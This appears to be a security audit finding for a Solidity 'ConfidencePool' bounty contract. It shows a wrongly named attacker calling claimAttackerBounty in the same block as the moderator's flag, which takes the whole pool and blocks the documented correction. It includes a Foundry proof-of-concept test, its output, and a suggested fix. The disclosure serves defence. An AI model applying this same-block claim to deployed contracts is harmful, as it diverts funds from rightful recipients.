FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

A wrongly named attacker can claim the full bounty before correction, making the documented attacker-correction mechanism ineffective

Author Revealed upon completion

Description

  • Normal behavior: for a good-faith CORRUPTED outcome the entire pool (stake + bonus) is the named attacker's bounty (docs/DESIGN.md §12), paid in one claimAttackerBounty call. To protect against a mis-named attacker, the moderator may re-flag before the first claim; docs/DESIGN.md §4 states this exists so the moderator can "fix a typo'd outcome/attacker before any participant locks in the wrong distribution", and justifies first-claim finality because "a staker claiming first is exercising a correct outcome, not usurping one."

  • Specific issue: for good-faith CORRUPTED, the only party that can latch finality is the named attacker itselfclaimAttackerBounty requires msg.sender == attacker, and claimCorrupted is gated (MustClaimBountyFirst) until the bounty is claimed, so no one else can close the window. A wrongly-named attacker therefore calls claimAttackerBounty in the same block as the flag, takes the whole pool, and latches claimsStarted; the moderator's correction to the real whitehat then reverts with OutcomeAlreadySet. The correction window §4 documents for a typo'd attacker is unenforceable in exactly the scenario it was designed for. §4's assumption that "the first claimer is exercising a correct outcome" is false here: the first — and only possible — claimer is the wrong recipient. This does not require a malicious moderator: the moderator behaves correctly (attempts the documented correction); the harmful step is the named attacker's own permissionless claim.

Root cause (src/ConfidencePool.sol):

function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
// @> only the NAMED attacker can call this -> only the named attacker can close the window
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance; // == whole pool
bountyClaimed = bountyClaimed + payout;
if (payout > 0) {
corruptedReserve -= payout;
// @> latches finality in the SAME block the outcome was flagged -> zero correction window
if (!claimsStarted) claimsStarted = true;
// @> entire pool leaves to the wrongly-named attacker
stakeToken.safeTransfer(attacker, payout);
}
emit AttackerBountyClaimed(attacker, payout, bountyClaimed, bountyEntitlement);
}
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
// @> once the wrong attacker claimed, claimsStarted == true, so the correction reverts here
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
// ...
}

Risk

Likelihood:

  • Occurs when the moderator flags good-faith CORRUPTED with the wrong attacker address — the exact "typo'd attacker" case docs/DESIGN.md §4's correction is documented to handle — and that address is adversarial.

  • Occurs because nothing gates the claim's timing: once named, the attacker calls claimAttackerBounty in the same block as the flag, before any correction transaction can be mined, so the documented correction window is effectively zero.

Impact:

  • The wrongly-named attacker receives the entire pool (stake + bonus); the correct whitehat receives nothing.

  • The moderator's documented remedy for a mis-named attacker (§4) cannot be applied — the correction reverts with OutcomeAlreadySet. A supported safety mechanism is unenforceable precisely where it is meant to protect.

Proof of Concept

Add as test/poc/WrongAttackerFinality.t.sol; run forge test --match-path test/poc/WrongAttackerFinality.t.sol -vvv. Forward-only, reachable registry transitions.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract MockERC20 {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 a) external { balanceOf[to] += a; }
function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
function transfer(address to, uint256 a) external returns (bool) { return _t(msg.sender, to, a); }
function transferFrom(address f, address to, uint256 a) external returns (bool) {
uint256 al = allowance[f][msg.sender];
if (al != type(uint256).max) { require(al >= a, "allow"); allowance[f][msg.sender] = al - a; }
return _t(f, to, a);
}
function _t(address f, address to, uint256 a) internal returns (bool) {
require(balanceOf[f] >= a, "bal"); balanceOf[f] -= a; balanceOf[to] += a; return true;
}
}
contract MockRegistry {
IAttackRegistry.ContractState public st = IAttackRegistry.ContractState.ATTACK_REQUESTED;
function setState(IAttackRegistry.ContractState s) external { st = s; }
function isAgreementValid(address) external pure returns (bool) { return true; }
function getAttackRegistry() external view returns (address) { return address(this); }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return st; }
}
contract MockAgreement {
address public owner;
constructor(address o) { owner = o; }
function isContractInScope(address) external pure returns (bool) { return true; }
}
contract WrongAttackerFinality is Test {
ConfidencePool pool; MockERC20 token; MockRegistry reg; MockAgreement agree;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address staker = makeAddr("staker");
address wrongAttacker = makeAddr("wrongAttacker"); // named by mistake, adversarial
address realWhitehat = makeAddr("realWhitehat"); // the address the moderator meant to name
uint256 constant STAKE = 100e18;
uint256 constant BONUS = 100e18;
IAttackRegistry.ContractState constant CORRUPTED = IAttackRegistry.ContractState.CORRUPTED;
function setUp() public {
token = new MockERC20(); reg = new MockRegistry(); agree = new MockAgreement(sponsor);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1); scope[0] = address(0xC0FFEE);
pool.initialize(address(agree), address(token), address(reg), moderator,
block.timestamp + 100 days, 1e15, recovery, sponsor, scope);
token.mint(staker, STAKE); token.mint(sponsor, BONUS);
}
function test_wrong_attacker_takes_whole_pool_correction_foreclosed() public {
vm.startPrank(staker); token.approve(address(pool), STAKE); pool.stake(STAKE); vm.stopPrank();
vm.startPrank(sponsor); token.approve(address(pool), BONUS); pool.contributeBonus(BONUS); vm.stopPrank();
reg.setState(CORRUPTED); // in-scope breach
// Moderator flags good-faith CORRUPTED but names the WRONG attacker.
vm.prank(moderator); pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, wrongAttacker);
// Wrongly-named attacker claims the ENTIRE pool before any correction can land.
vm.prank(wrongAttacker); pool.claimAttackerBounty();
// Moderator tries to correct to the real whitehat -> reverts (claimsStarted latched).
vm.prank(moderator);
vm.expectRevert();
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, realWhitehat);
// Real whitehat cannot claim.
vm.prank(realWhitehat);
vm.expectRevert();
pool.claimAttackerBounty();
console2.log("whole pool :", STAKE + BONUS);
console2.log("wrong attacker balance :", token.balanceOf(wrongAttacker));
console2.log("real whitehat balance :", token.balanceOf(realWhitehat));
assertEq(token.balanceOf(wrongAttacker), STAKE + BONUS, "wrong attacker took the whole pool");
assertEq(token.balanceOf(realWhitehat), 0, "real whitehat got nothing; correction foreclosed");
}
}

Output:

[PASS] test_wrong_attacker_takes_whole_pool_correction_foreclosed()
Logs:
whole pool : 200000000000000000000
wrong attacker balance : 200000000000000000000
real whitehat balance : 0

Recommended Mitigation

Give the documented attacker-correction an actual window the named attacker cannot foreclose. For example, gate claimAttackerBounty behind a short delay after the good-faith CORRUPTED flag, during which the moderator may still re-flag the attacker:

function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
+ // The named attacker cannot claim (and thus cannot latch finality) until the moderator's
+ // documented attacker-correction window has elapsed.
+ if (block.timestamp < goodFaithCorruptedAt + ATTACKER_CORRECTION_DELAY) revert CorrectionWindowOpen();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
// ...
}

Alternatively, allow the moderator to re-flag only the attacker address for a good-faith CORRUPTED outcome while bountyClaimed == 0, so a mis-name stays correctable until value actually moves.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!